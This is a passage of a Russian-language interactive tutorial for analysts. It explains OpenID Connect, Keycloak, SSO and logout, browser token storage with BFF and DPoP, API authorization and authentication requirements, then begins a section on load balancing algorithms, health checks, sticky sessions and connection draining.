    Партнёр «Мигом» (от имени Анны)конфиденциальныйCode + PKCE, согласие Анны, узкие scopeна сервере партнёрада
    Склад, ночная сверкаконфиденциальныйClient Credentialsв памяти сервисанет
    Заказы → Оплата (от имени Анны)конфиденциальныйToken Exchangeживёт секунды, в памятинет

    глава 11 · OIDC OpenID Connect: кто именно вошёл

    Борис доволен: приложение получает токен доступа и ходит в API. Но на главном экране надо написать «Здравствуйте, Анна». Борис раскодировал токен доступа и достал оттуда имя. Вера остановила его: «Токен доступа — не для тебя. Он для API. Его формат может завтра поменяться, он может стать непрозрачным. Тебе нужен другой токен — про личность».

    OpenID Connect (OIDC, спецификация OpenID Foundation, Core 1.0) — слой «кто вошёл» поверх OAuth 2.0. Клиент просит scope openid и получает, кроме токена доступа, id_token — подписанный JWT о том, кто вошёл, когда и как. Ещё OIDC добавляет адрес с данными профиля (userinfo), автоматическое описание сервера (discovery) и правила выхода.
    OAuth — доверенность: «предъявителю разрешено забрать посылку». OIDC — ещё и паспорт курьера: «предъявитель — Иван Петров, личность проверена в 12:00 по паспорту и отпечатку пальца».

    id_token и токен доступа — не путать

    ── id_token: для приложения ──
    {
      "iss": "https://id.botinok.ru",
      "sub": "u-7f3a91",
      "aud": "botinok-mobile",    ← адресат — приложение
      "exp": 1790845500,
      "iat": 1790845200,
      "auth_time": 1790845190,      ← когда Анна вводила пароль
      "nonce": "n-0S6_WzA2Mj",       ← связь с этим входом
      "acr": "mfa",                  ← уровень проверки
      "amr": ["pwd", "otp"],         ← пароль + одноразовый код
      "name": "Анна Смирнова"        ← только если просили scope profile
    }
    ── токен доступа: для API ──
    {
      "iss": "https://id.botinok.ru",
      "sub": "u-7f3a91",
      "aud": "orders-api",        ← адресат — API
      "exp": 1790845500,
      "iat": 1790845200,
      "jti": "b7e1c0d2-9a4f-4c1e-8f7a-2d3b5e6c7a81",
      "client_id": "botinok-mobile",
      "scope": "openid orders:read"   ← права
    }
    
    заголовок: { "typ": "at+jwt", … }
    id_tokenТокен доступа
    Для когоДля приложения-клиента: узнать, кто вошёлДля API: пустить к данным
    audclient_id приложенияидентификатор API
    ФорматВсегда JWTJWT или непрозрачный — приложению всё равно
    Кто его читаетПриложение проверяет подпись, iss, aud, exp, nonceТолько API. Приложение не должно разбирать токен доступа
    Куда нельзя отправлятьВ API как пропуск. API правильно откажет по aud и typНикуда, кроме своего API
    nonce — случайная строка, которую приложение отправляет в запросе на вход. Сервер вписывает её в id_token. Приложение сверяет: этот id_token выдан на мой вход, а не перехвачен с чужого и не подсунут повторно.
    вы заказываете справку и называете номер заявки. Справку с чужим номером заявки вы не примете, даже если на ней настоящая печать.

    userinfo и discovery

    Userinfo — адрес, где приложение по токену доступа получает данные профиля. Отдаёт только то, на что есть scope: profile, email, phone, address.

    GET /userinfo HTTP/1.1
    Host: id.botinok.ru
    Authorization: Bearer eyJhbGciOi…
    
    HTTP/1.1 200 OK
    { "sub": "u-7f3a91",
      "name": "Анна Смирнова",
      "email": "anna@mail.ru",
      "email_verified": true }

    Discovery (OpenID Connect Discovery) — сервер описывает сам себя по стандартному адресу. Библиотеке клиента достаточно одного адреса издателя, остальное она прочитает здесь.

    GET /.well-known/openid-configuration
    
    { "issuer": "https://id.botinok.ru",
      "authorization_endpoint": "…/authorize",
      "token_endpoint": "…/token",
      "userinfo_endpoint": "…/userinfo",
      "jwks_uri": "…/.well-known/jwks.json",
      "end_session_endpoint": "…/logout",
      "revocation_endpoint": "…/revoke",
      "introspection_endpoint": "…/introspect",
      "device_authorization_endpoint": "…/device_authorization",
      "code_challenge_methods_supported": ["S256"],
      "id_token_signing_alg_values_supported": ["RS256","ES256"],
      "backchannel_logout_supported": true }

    Keycloak — сервер авторизации «Ботинка»

    Keycloak — сервер авторизации с открытым кодом (проект фонда CNCF). Умеет OAuth 2.0, OpenID Connect и SAML 2.0, вход через внешние сервисы, подключение корпоративного каталога сотрудников (LDAP, Active Directory), второй фактор и passkeys. Похожую работу делают облачные Auth0, Okta, Microsoft Entra ID и открытые Authentik, Zitadel, Ory Hydra.

    Realm (область)

    Отдельный мир пользователей, клиентов и настроек. У «Ботинка» — shop для покупателей и staff для сотрудников. Пользователи разных областей друг друга не видят.

    Client (клиент)

    Карточка приложения: client_id, тип (конфиденциальный или публичный), адреса возврата, разрешённые потоки, обязательность PKCE, сроки токенов.

    Роли и группы

    Роли области (customer, support) и роли клиента. Их можно положить в токен. Группы объединяют пользователей, чтобы не раздавать роли поштучно.

    адреса Keycloak для области shop:
    https://id.botinok.ru/realms/shop/.well-known/openid-configuration
    https://id.botinok.ru/realms/shop/protocol/openid-connect/auth               ← /authorize
    https://id.botinok.ru/realms/shop/protocol/openid-connect/token              ← /token
    https://id.botinok.ru/realms/shop/protocol/openid-connect/certs              ← JWKS
    https://id.botinok.ru/realms/shop/protocol/openid-connect/userinfo
    https://id.botinok.ru/realms/shop/protocol/openid-connect/logout
    https://id.botinok.ru/realms/shop/protocol/openid-connect/token/introspect
    https://id.botinok.ru/realms/shop/protocol/openid-connect/revoke

    В остальных примерах раздела адреса для краткости упрощены: /authorize, /token. Настоящие адреса ваше приложение берёт из discovery.

    SAML 2.0 — старший брат для корпоративного входа

    SAML 2.0 (Security Assertion Markup Language, стандарт OASIS 2005 года) — протокол единого входа на XML. Поставщик учётных записей (Identity Provider, IdP) выдаёт подписанное XML-утверждение «это Анна». Браузер передаёт его приложению (Service Provider, SP), обычно через автоматически отправляемую форму POST.
    SAML — бумажный пропуск с мокрой печатью, выданный отделом кадров. Надёжно и привычно для корпорации, но в мобильном приложении и между микросервисами им неудобно пользоваться.

    Нажмите на строку, чтобы раскрыть пояснение.

    Проще говоря. Новое приложение, мобильный клиент, API — OpenID Connect. Корпоративная система, которая умеет только SAML, или заказчик требует «вход через наш корпоративный IdP по SAML» — Keycloak примет SAML с одной стороны и выдаст OIDC-токены с другой. Такой приём называют брокером учётных записей (identity brokering).

    глава 12 · SSO единый вход и единый выход: Анна в «Магазине» и «Бонусах»

    Единый вход (SSO, Single Sign-On) — пользователь один раз входит на сервер авторизации, а потом попадает во все приложения компании без пароля. Секрет простой: у сервера авторизации есть своя сессия — cookie на его домене id.botinok.ru. Когда второе приложение отправляет Анну на вход, сервер видит эту cookie и сразу выдаёт код, не спрашивая пароль.
    браслет «всё включено» в отеле. Паспорт показали один раз на ресепшене. Потом в ресторане, баре и у бассейна смотрят только на браслет.
    Единый выход (Single Logout) — нажала «Выйти» в одном приложении, вышла из всех. Это намного сложнее: у каждого приложения своя сессия, и о выходе надо сообщить каждому.

    SSO вживую

    Слева направо: сайт «Магазин» (shop.botinok.ru), браузер Анны, сервер SSO (id.botinok.ru) и сайт «Бонусы» (bonus.botinok.ru). Оба сайта — конфиденциальные клиенты с серверной частью. Сначала войдите в «Магазин», потом откройте «Бонусы» — пароль не спросят. Потом нажмите «Выйти» в «Магазине» при разных настройках выхода и посмотрите, что останется от сессий.

    🍪 Cookie в браузере Анны

    👀 Что видит Анна

    Три способа выйти — и почему это трудно

    RP-Initiated Logout

    Приложение удаляет свою сессию и отправляет браузер на end_session_endpoint сервера с id_token_hint и адресом возврата (post_logout_redirect_uri). Сервер гасит сессию SSO. Остальные приложения об этом не знают.

    Front-Channel Logout

    Сервер открывает в браузере невидимые окна (iframe) с адресами выхода каждого приложения. Работает через браузер и ломается, когда браузер блокирует cookie в чужих окнах — а современные браузеры всё чаще так делают. И если вкладка закрылась раньше, выход не случится.

    Back-Channel Logout

    Сервер сам, напрямую, отправляет каждому приложению POST с logout_token — подписанным JWT с sub и sid (номер сессии SSO). Надёжнее, но сервер должен «достучаться» до каждого приложения по сети, а приложение — уметь найти и удалить сессию по sid.

    Даже идеальный выход не мгновенный. Сессии погашены, но токены доступа в формате JWT, уже выданные приложениям, доживут свои минуты. Мобильное приложение не получит back-channel-вызов: у него нет адреса. Оно узнает о выходе при следующем обновлении токена, когда сервер ответит invalid_grant. Поэтому аналитик должен записать, что именно значит «Выйти»: только здесь, везде в браузере, на всех устройствах — и за какое время.

    глава 13 · браузер токены в браузере: где хранить, BFF, DPoP

    У «Ботинка» есть «Личный кабинет» — одностраничное приложение (SPA) на JavaScript. Борис спрашивает: «Куда положить токен? В localStorage удобно». Вера отвечает вопросом: «А что сделает вредный скрипт, если он окажется на странице?». Скрипт может попасть через уязвимость XSS, через заражённую библиотеку из npm или через чужой виджет. Проверьте разные варианты хранения.

    XSS (cross-site scripting, межсайтовый скриптинг) — чужой JavaScript выполняется на вашей странице с вашими правами. Всё, что может ваш код, может и он.
    в ваш офис под видом курьера зашёл посторонний. Всё, что лежит на столах, он может забрать. Всё, что заперто в сейфе, к которому у него нет ключа, — нет. Но пока он внутри, он может звонить по вашему телефону от имени компании.

    Где хранить токен: проверьте на атаках

    BFF — рекомендация IETF

    BFF (Backend for Frontend, «бэкенд для фронтенда») в роли OAuth-клиента — небольшая серверная часть на том же домене, что и SPA. Весь OAuth делает она: она конфиденциальный клиент, она хранит токены у себя. Браузер получает только cookie сессии с HttpOnly, Secure, SameSite=Strict. Все запросы к API идут через BFF, и BFF подставляет токен.
    гардероб в театре. Пальто (токен) остаётся у гардеробщика, у вас только номерок. Вытащить из кармана пальто нельзя — оно не в кармане.

    В августе 2026 года IETF опубликовал RFC 10017 «OAuth 2.0 for Browser-Based Applications» (BCP 212). В нём описаны три схемы: BFF, «посредник токенов» (token-mediating backend: сервер получает токены и отдаёт токен доступа в браузер) и чисто браузерный клиент. BFF назван настоятельно рекомендуемым для бизнес-приложений, чувствительных данных и персональных данных. Для cookie BFF обязательны Secure и HttpOnly, рекомендованы SameSite=Strict и префикс имени. Против CSRF RFC советует ещё и требовать от SPA свой заголовок в каждом запросе к BFF: злой сайт не может добавить его к запросу на чужой домен.

    Чем платим за BFF. Ещё один серверный компонент: его надо развернуть, масштабировать, держать сессии. Все запросы к API идут через него — плюс задержка. И BFF не спасает от XSS целиком: пока вредный скрипт на странице, он может делать запросы через BFF от имени Анны. BFF не даёт токенам утечь. От самого XSS защищают политика безопасности контента (CSP), экранирование и контроль библиотек.

    Привязка токена к отправителю: DPoP и mTLS

    Токен на предъявителя (bearer token) — работает у любого, кто его держит. Как наличные: кто нашёл, тот и потратил. Так работает почти всё, что мы видели. Токен с привязкой к отправителю (sender-constrained token) работает только вместе с доказательством, что предъявитель владеет определённым закрытым ключом. Украденный токен без ключа бесполезен. RFC 9700 рекомендует такие токены.
    именной билет на самолёт. Без паспорта с той же фамилией по нему не улетишь.

    DPoP (RFC 9449, 2023)

    Клиент создаёт пару ключей; в браузере — неизвлекаемый ключ WebCrypto. К каждому запросу он прикладывает короткий подписанный JWT-доказательство: метод, адрес, время, хеш токена. Сервер вписывает в токен отпечаток ключа (cnf.jkt). API сверяет отпечаток и подпись доказательства.

    GET /orders HTTP/1.1
    Host: api.botinok.ru
    Authorization: DPoP eyJhbGciOi…        ← схема DPoP, не Bearer
    DPoP: eyJ0eXAiOiJkcG9wK2p3dCIs…      ← доказательство
    
    ── доказательство, заголовок ──
    { "typ": "dpop+jwt", "alg": "ES256",
      "jwk": { "kty": "EC", "crv": "P-256", "x": "l8tFrhx…", "y": "9VE4jf_…" } }
    ── доказательство, нагрузка ──
    { "jti": "e1j3V_bKic8-LAEB", "htm": "GET",
      "htu": "https://api.botinok.ru/orders", "iat": 1790845260,
      "ath": "fUHyO2r2Z3DZ53EsNrWBb0xWXoaNy59IiKCAqksmQEo" }   ← хеш токена
    
    ── в самом токене доступа ──
    "cnf": { "jkt": "0ZcOCORZNYy-DWpqq30jZyJGHTN0d2HglBV3uiguA4I" }

    mTLS-привязка (RFC 8705)

    Клиент устанавливает соединение со взаимным TLS: предъявляет свой сертификат. Сервер авторизации вписывает в токен отпечаток сертификата (cnf."x5t#S256"). API принимает токен только по соединению с тем же сертификатом. Хорошо подходит для сервисов и партнёров, у которых есть сертификаты. Для браузеров и мобильных приложений почти не используется.

    ── в токене доступа ──
    "cnf": { "x5t#S256": "bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2" }
    Где что. DPoP — мобильные приложения, SPA, публичные клиенты: ключ создаётся в приложении, инфраструктура не нужна. mTLS — сервис к сервису, банки и партнёры, профиль FAPI. Keycloak полностью поддерживает DPoP с версии 26.4.

    глава 14 · внутри микросервисы, внутренние токены, MFA и passkeys

    Запрос Анны прошёл шлюз. Дальше его обрабатывают заказы, оплата, склад. Кто внутри проверяет токен? Как сервис оплаты узнает, что платит именно Анна? И где проходит граница между «можно смотреть заказы вообще» и «можно смотреть этот заказ»?

    Три схемы: где проверять токен

    Грубая и тонкая авторизация

    Грубая (coarse-grained)

    «Есть ли у клиента право на этот вид операций». Проверяется по scope и ролям в токене: orders:read — можно читать заказы. Это дёшево и делается на шлюзе или в фильтре сервиса.

    Из жизни: пропуск в здание банка.

    Тонкая (fine-grained)

    «Можно ли этому пользователю этот объект». Анна может читать только свои заказы: order.customer_id == token.sub. Это знает только сервис, у которого есть данные, — токен тут не поможет. Сложные правила выносят в движок политик (OPA, OpenFGA).

    Из жизни: ключ от своей ячейки в хранилище.

    Самая частая дыра в API. Токен проверен, scope есть, а проверки «чей это объект» нет. Анна меняет в адресе /orders/1042 на /orders/1043 — и видит чужой заказ с адресом и телефоном. В списке OWASP API Security Top 10 это первое место: Broken Object Level Authorization. Никакой OAuth от этого не спасает: это требование к каждому методу API.
    Детальное согласие. Scope — грубые права. Если нужно согласие на конкретную операцию («списать 4 990 ₽ магазину „Ботинок“»), есть расширение RFC 9396 Rich Authorization Requests. Клиент передаёт параметр authorization_details со структурированным описанием, и оно попадает в токен. Так делают в открытом банкинге.

    MFA и passkeys: как это стыкуется с OAuth

    Многофакторная аутентификация (MFA) — вход по двум и более доказательствам разного рода. Знаю: пароль. Имею: телефон с кодом, ключ. Являюсь: отпечаток, лицо.
    банковская карта и ПИН-код. Карту можно украсть, ПИН подсмотреть, но нужны оба сразу.
    Passkey (ключ доступа, стандарты WebAuthn от W3C и FIDO2) — вход без пароля по паре ключей. Закрытый ключ хранится на телефоне или компьютере и открывается отпечатком или ПИН-кодом устройства. Открытый ключ хранит сайт. Ключ привязан к адресу сайта, поэтому на фишинговом сайте-двойнике он просто не сработает.
    ключ, который физически не входит в замок поддельной двери. Как бы ловко вас ни заманили, открыть чужую дверь им нельзя.

    Где это в OAuth. Нигде — и это главное. MFA и passkey — это то, как Анна доказывает себя серверу авторизации на его странице входа. Приложения и API об этом не знают и получают те же токены. Поэтому включить passkeys можно, не трогая ни одного приложения. О том, как прошёл вход, сервер сообщает в id_token: acr — достигнутый уровень, amr — использованные методы (значения вроде pwd, otp, mfa перечислены в RFC 8176). Приложение может попросить уровень при входе параметром acr_values.

    Повышение уровня входа (step-up). Смотреть заказы можно после простого входа. Сменить карту — только после второго фактора, и не позже пяти минут назад. RFC 9470 описывает, как API просит об этом.

    глава 15 · аналитику как описать вход и доступ в требованиях

    Олегу нужно превратить всё это в документ, по которому команда построит вход, а тестировщик проверит. «Сделать авторизацию через OAuth» — это не требование: из него ничего не следует. Вот что должно быть в постановке.

    Что обязательно записать

    1. Матрица клиентов

    Каждое приложение: тип (публичный или конфиденциальный), поток, адреса возврата, разрешённые scope, нужен ли refresh-токен, где хранятся токены. Готовый образец — в главе 10.

    2. Права: scope и роли

    Список scope с описанием человеческим языком (этот текст увидит Анна на экране согласия). Роли и соответствие «роль → операции». Отдельно — тонкие правила: «покупатель видит только свои заказы».

    3. Сроки жизни

    Код, токен доступа, refresh-токен (скользящий и абсолютный срок), сессия SSO (бездействие и максимум). С обоснованием: чем рискуем, какая нагрузка.

    4. Сценарии входа и выхода

    Первый вход, повторный, SSO между приложениями, вход с нового устройства. Что значит «Выйти» и «Выйти на всех устройствах», за какое время выход доходит до всех приложений.

    5. Уровни проверки

    Где нужен второй фактор, где повышение уровня (смена карты, адреса, пароля), как давно должен быть вход (max_age).

    6. Отзыв и события

    Смена пароля отзывает все refresh-токены. Обнаружен повтор refresh — отзыв семейства, запись в журнал аудита, уведомление Анне. Блокировка пользователя действует не позже N минут.

    7. Ошибки

    401 с заголовком WWW-Authenticate: Bearer error="invalid_token" — токена нет, он просрочен или неверный. 403 с error="insufficient_scope" — прав не хватает. Что видит пользователь в каждом случае.

    8. Нефункциональные

    Доступность сервера авторизации (он нужен каждому входу и обновлению), кеш JWKS, синхронизация часов, ротация ключей, запрет персональных данных в токенах, журналирование без токенов целиком.

    Как звучит хорошее требование

    НФТ-SEC-07. Токены доступа
      Токен доступа для API «Ботинка» выпускается в формате JWT (RFC 9068),
      подписывается RS256 или ES256, срок жизни — 5 минут.
      API принимает токен, только если: подпись верна по ключам из JWKS
      id.botinok.ru; alg из списка [RS256, ES256]; iss = https://id.botinok.ru;
      aud содержит идентификатор этого API; exp не истёк (допуск часов 30 с).
      В токен не включаются ФИО, email, телефон и адрес.
    
    НФТ-SEC-08. Refresh-токены мобильного приложения
      Выдаются с ротацией при каждом использовании. Повторное предъявление
      использованного refresh-токена отзывает все токены этой цепочки входа
      и создаёт событие аудита REFRESH_REUSE_DETECTED с client_id и sub.
      Скользящий срок — 30 дней, абсолютный — 90 дней.
    
    ФТ-AUTH-12. Выход на всех устройствах
      По кнопке «Выйти на всех устройствах» отзываются все refresh-токены
      и сессии SSO пользователя. Веб-приложения получают back-channel logout.
      Не позже чем через 5 минут ни одно приложение не выполняет запросы
      от имени пользователя.

    Матрица прав (фрагмент)

    scopeТекст на экране согласияКому разрешеноОперации API
    orders:readВидеть ваши заказымобильное приложение, сайт, «Ботинок ТВ»GET /orders, GET /orders/{id} — только свои
    orders.status:readВидеть статус ваших заказов«Мигом»GET /orders/{id}/status
    address:readВидеть адрес доставки«Мигом», сайтGET /profile/address
    payments:create— (не выдаётся пользователю напрямую)только через обмен токена для сервиса заказовPOST /payments

    Частые ошибки в постановках и реализациях

    Нажмите на пункт, чтобы раскрыть.

    Тренажёр: найдите изъян в требовании

    Решено 0 из 0.

    глава 16 · проверь себя двенадцать вопросов

    Решено 0 из 0.

    Дальше → балансировщики: как раздать запросы по копиям сервиса и не отправлять их мёртвым

    Балансировщик решает один вопрос: кому из живых серверов отдать этот запрос. Всё остальное — надстройки над этим вопросом. В этом разделе мы пройдём историю одного интернет-магазина от первой распродажи до спокойной выкатки без потерь. По дороге разберём, как балансировщик выбирает сервер, как замечает мёртвых и как закрывает «кассу», никого не обидев.

    карта раздела куда мы пойдём

    Раздел — одна история. Читать лучше по порядку: каждая глава опирается на предыдущую. Но можно и прыгнуть сразу к нужной главе.

    глава 1 · проблема один сервер и распродажа

    Начнём с маленького интернет-магазина. У него один сервер — один компьютер, на котором работает программа магазина. Сервер принимает запросы: «покажи каталог», «положи в корзину», «оформи заказ». Каждое нажатие покупателя — это запрос.

    Мощность сервера меряют в запросах в секунду (по-английски RPS, requests per second). Пусть наш сервер спокойно переваривает 100 запросов в секунду. В обычный день приходит 40 — всё хорошо.

    А потом наступает распродажа. Запросов становится 240 в секунду. Что делать? Самое простое — поставить ещё два таких же сервера. Но тут возникает вопрос, ради которого и написан весь раздел: а как покупатели узнают, что серверов теперь три?

    Подвигайте нагрузку и переключайте, как устроен магазин.

    Покупателей нажимают в секунду 240
    Суть главы. Купить серверы мало. Нужен кто-то, кто стоит перед ними, принимает всех покупателей по одному адресу и раскладывает их по серверам. Этот кто-то и называется балансировщиком нагрузки.

    глава 2 · определение что такое балансировщик

    Определение. Балансировщик нагрузки (load balancer) — программа или устройство, которое стоит перед группой одинаковых серверов, принимает все запросы на один адрес и для каждого запроса решает, какому из живых серверов его отдать.

    Три важных слова в определении:

    • Одинаковых. Серверы за балансировщиком — копии одной и той же программы. Их ещё называют узлами, экземплярами или бэкендами. Всю группу называют пулом.
    • Один адрес. Покупатель знает только адрес балансировщика. Сколько серверов за ним, ему не видно — и не нужно.
    • Живых. Балансировщик следит, какие серверы работают, и мёртвым запросы не отдаёт.

    Житейская картинка на весь раздел: супермаркет

    Представьте большой супермаркет с несколькими кассами. У входа в зону касс стоит администратор. Он смотрит на кассы и говорит каждому покупателю: «Вам — на третью». Покупатель не выбирает кассу сам и не думает, сколько их. Он просто идёт, куда показали.

    Всё, что умеет балансировщик, есть у этого администратора. Мы будем возвращаться к нему в каждой главе:

    касса
    сервер (узел) в пуле
    покупатель
    запрос
    администратор
    балансировщик
    «по очереди»
    round robin: первый — на кассу 1, второй — на 2, третий — на 3, четвёртый — снова на 1 (глава 4)
    «где короче»
    least connections: к кассе, где сейчас меньше всего людей (глава 4)
    «опытному больше»
    weighted: быстрый кассир получает больше покупателей (глава 4)
    «ваша касса»
    hash и sticky: постоянный покупатель всегда идёт к «своему» кассиру (глава 6)
    «кассир ушёл»
    health check: администратор замечает пустую кассу и туда больше не шлёт (глава 5)
    «касса закрывается»
    drain: новых не принимаем, но тех, кто уже стоит, дообслужим (глава 7)
    Анонс для аналитиков. Балансировщики бывают двух «уровней» — L4 и L7. От уровня зависит, какие требования из ТЗ (маршрут по пути, канарейка, лимиты, липкие сессии) система выполнит без доработок. Зачем вам уровни — см. главу 8.

    Зачем это всё: что будет, если балансировщика нет

    глава 3 · путь запроса Анна в распродажу открывает каталог

    Теперь посмотрим, что происходит на самом деле, когда покупатель нажимает кнопку. Возьмём одного человека — Анну. Полдень, распродажа, Анна открывает в телефоне каталог. У магазина уже три сервера — A, B и C — и балансировщик перед ними.

    Жмите «Дальше» и следите: какие участники подсвечены, какие данные летают и почему всё устроено именно так. Потом переключите сценарий на «сервер падает посреди запроса».

    глава 4 · как выбрать кассу алгоритмы балансировки на пальцах

    Алгоритм балансировки — правило, по которому администратор решает, к какой кассе отправить очередного покупателя. Правил немного, и у каждого своя цена:

    🔁 По очереди (round robin)

    Первый — на кассу 1, второй — на 2, третий — на 3, дальше по кругу. Ни на что не смотрит. Просто и честно по числу людей — но не по их тележкам.

    📏 Где короче (least connections)

    К кассе, где сейчас меньше всего людей. «Соединение» — это покупатель, которого касса уже взяла в работу. Смотрит на реальную картину, а не на порядок.

    🏋 Опытному больше (weighted)

    У каждой кассы есть вес — сколько покупателей ей давать за один круг. Опытный кассир с весом 2 получает вдвое больше новичка с весом 1.

    🔑 Ваша касса (hash)

    Кассу выбирают по номеру карты покупателя: из номера считают число и по нему находят кассу. Один и тот же человек всегда попадает к одному кассиру. Подробно — в главе 6.

    Живое распределение: смотрите, как летят запросы

    Слева — покупатели (у каждого свой цвет), в центре — балансировщик, справа — три кассы. Каждый кружок — запрос. Он летит к балансировщику, тот решает, куда его отправить, и кружок «садится» у кассы на время обработки. Большой кружок 🛒 — долгий запрос. Потом ответ возвращается к покупателю. Над балансировщиком видна его «мысль» — почему он выбрал именно эту кассу.

    Скорость×1
    Доля долгих запросов 🛒30 %
    ⚖ Балансировщик
    Жду запросов. Нажмите «▶ Поток» или «+ Один запрос».

    Сначала медленно: куда уйдёт каждый запрос и почему

    Выберите алгоритм и жмите «Следующий запрос». На схеме видно, куда уходит запрос и почему именно туда. Узел C мощнее остальных втрое.

    глава 4 · гонка касс один и тот же поток покупателей — разные правила

    Теперь главный опыт. В магазин по одному заходят 24 покупателя, раз в секунду. Большинство — с корзинкой на одну покупку (🧺, обслуживание 1 секунда). Но каждый третий — с огромной тележкой (🛒, 6 секунд). В жизни это обычный запрос каталога и тяжёлая выгрузка отчёта.

    Поток всегда один и тот же. Меняется только правило администратора. Запустите «по очереди», потом «где короче» — и сравните, сколько люди простояли.

    глава 4 · шпаргалка какой алгоритм когда

    Кроме четырёх «кассовых» правил, в настоящих балансировщиках есть ещё несколько. Щёлкните строку, чтобы раскрыть подробности.

    глава 5 · кассир ушёл проверки здоровья

    Кассир ушёл на обед, а табличку не повесил. Если администратор этого не заметит, он продолжит слать людей к пустой кассе. Они постоят и уйдут ни с чем.

    У балансировщика для этого есть проверка здоровья (health check). Это регулярный вопрос каждому серверу: «ты жив?». Обычно балансировщик раз в несколько секунд делает запрос GET /health. Ответил «200 OK» — жив. Не ответил или ответил ошибкой — неудача.

    Две настройки решают всё:

    • Интервал — как часто спрашивать. Раз в секунду или раз в десять.
    • Порог — сколько неудач подряд нужно, чтобы объявить сервер мёртвым и убрать его из пула.

    Пока балансировщик не убедился, что сервер мёртв, он шлёт туда запросы — и они пропадают. Это слепое окно. Попробуйте подобрать настройки: чтобы слепое окно было не больше 5 секунд, но короткая трёхсекундная «задумчивость» сервера (например, пауза на сборку мусора) не выкидывала его зря.

    Интервал проверки, секунд5 с
    Порог: неудач подряд3
    Всего запросов в секунду (на 3 сервера)300
    сервер работает слепое окно: запросы пропадают сервер задумался выведен из пула ✓ ✕ — момент проверки

    глава 5 · глубже активная и пассивная проверка, три вида «здоровья»

    Активная проверка

    Балансировщик сам стучится в /health раз в N секунд. Узел объявляется мёртвым после K неудач подряд и живым — после M удач. Простая, предсказуемая, но узнаёт о смерти с задержкой до N×K секунд. Это ровно то, что вы крутили выше.

    Пассивная проверка (outlier detection)

    Балансировщик смотрит на настоящие ответы: узел, который чаще остальных отвечает ошибками 5xx или не успевает ответить, временно убирается из пула. Реагирует почти сразу и видит реальные проблемы, а не ответ «заглушки». Администратор не ждёт обхода — он видит, что от третьей кассы люди уходят злые.

    Три вида проверок, которые надо различать

    В Kubernetes и похожих системах «здоровье» делят на три вопроса. Путать их — самая частая ошибка.

    • Liveness («жив ли процесс») — не завис ли он так, что его надо перезапустить. Должна быть максимально тупой: если она проверяет базу, то недоступность базы вызовет перезапуск всех узлов разом, и станет хуже.
    • Readiness («готов ли принимать покупателей прямо сейчас»). Здесь уместно проверять зависимости: прогрет ли кеш, есть ли соединение с базой. Узел не готов — его убирают из балансировки, но не убивают. Кассир на месте, но пересчитывает кассу — табличка «подождите».
    • Startup («ещё открываемся»). Отдельная проверка нужна, чтобы медленно стартующее приложение не убивалось liveness-проверкой на старте.
    Классическая авария: /health проверяет доступность базы, база на минуту тормозит — все узлы разом объявляются мёртвыми, балансировщику некуда слать трафик, сервис падает полностью вместо частичной деградации. Правило: liveness не должна зависеть от внешних систем, а readiness — должна, но её срабатывание не должно быть синхронным у всех узлов сразу.

    глава 6 · постоянный покупатель липкие сессии: зачем, как и почему это долг

    Бывает, что кассир что-то помнит про покупателя: «вы отложили у меня пакет». Тогда покупателя надо отправлять именно к нему, иначе пакет потеряется. В серверах это то же самое: если сервер хранит у себя в памяти корзину или сессию входа, следующий запрос того же клиента должен прийти на тот же сервер.

    Липкая сессия (sticky session) — привязка клиента к конкретному узлу, чтобы все его запросы шли туда же. Нужна, когда узел хранит состояние этого клиента: сессию в памяти, открытое соединение, накопленный контекст.

    По cookie

    Балансировщик ставит свою cookie с номером узла — как бирка «ваш кассир — №2». Точно, работает через общий интернет-шлюз (NAT) и мобильные сети. Требует L7 и того, чтобы клиент принимал cookie.

    По IP-хешу

    Узел выбирается по адресу клиента. Работает на L4 и без cookie. Но за одним офисным NAT сидят тысячи людей с одним адресом — все попадут к одному кассиру. А смена сети (Wi-Fi → мобильный) меняет адрес и теряет привязку.

    По идентификатору из приложения

    Маршрутизация по заголовку или пути (/session/{id}) через согласованное хеширование. Самый управляемый вариант, применяется для шардированных stateful-сервисов.

    Чем заменяют липкость: вынести состояние из узла — сессии в Redis или в подписанный токен у клиента, кеш сделать общим или смириться с его повторным прогревом, WebSocket-соединения развязать через общую шину. Пакет хранится не у кассира, а в общей камере хранения. После этого узлы становятся взаимозаменяемыми, и всё остальное — масштабирование, выкатка, отказоустойчивость — упрощается разом. Липкость — это не решение, а отсрочка.

    глава 7 · касса закрывается как вывести сервер при выкатке и никого не потерять

    Новая версия магазина готова. Серверы надо обновить по одному. Значит, сервер B придётся выключить — а на нём прямо сейчас обслуживаются люди, и новые продолжают подходить.

    В супермаркете это решают табличкой «касса закрывается»: новых не принимаем, но тех, кто уже стоит, дообслужим. В серверах это называется drain («осушение», вывод без потерь) или connection draining.

    Ниже — сервер B и его запросы по секундам. Каждая строка — один запрос. На третьей секунде начинается выкатка. Балансировщик проверяет готовность раз в 3 секунды, поэтому узнаёт о выкатке только на шестой. Сравните три способа.

    обслуживается обслужен ✕ потерян ушёл на A или C

    глава 7 · рецепт вывод узла без потерь — по шагам

    1
    Повесить табличку: «не готов». Readiness-проверка начинает отвечать отказом. Балансировщик перестаёт слать новые запросы.Между этим моментом и фактическим прекращением трафика проходит до одного интервала проверки — это и есть окно потерь, если пропустить шаг 2.
    2
    Подождать. Несколько секунд, пока балансировщик заметит и пока новые запросы перестанут приходить.Самый пропускаемый шаг. Именно из-за него при каждом деплое «теряется по сто запросов», и все считают это нормой.
    3
    Дать дожить текущим запросам (connection draining). Сервер не принимает новые соединения, но доделывает начатые.Для долгих операций нужен разумный предел — обычно 30–60 секунд, дальше обрыв.
    4
    Остановить процесс. По сигналу завершения (SIGTERM), а не по kill -9.Приложение должно обрабатывать SIGTERM: закрыть пул соединений, дописать буферы, отпустить блокировки.
    5
    При вводе обратно — медленный старт (slow start). Новый узел получает долю трафика постепенно.Новый кассир в первый день медленный. Если least connections увидит пустую кассу, он отправит туда всех сразу: у неё ноль людей, и она выглядит самой свободной. А у узла холодный кеш и непрогретая программа. Узел захлебнётся, провалит проверку, вылетит из пула, трафик вернётся к остальным — и цикл повторится.

    глава 8 · конверт или письмо что за «уровни» L4 и L7

    Аналитикам: в конце главы есть блок «зачем это системному аналитику» — таблица «требование из ТЗ → L4 или L7» и тренажёр.

    В главе 3 наш балансировщик прочитал путь /catalog и заметил ошибку сервера A. Так умеют не все балансировщики. Всё зависит от того, насколько глубоко он заглядывает в запрос.

    Буква L — это layer, слой. Цифра — номер слоя в сетевой модели OSI (это стандартная «лестница» из семи ступеней: от проводов внизу до приложения наверху). Звучит академично, но идея простая.

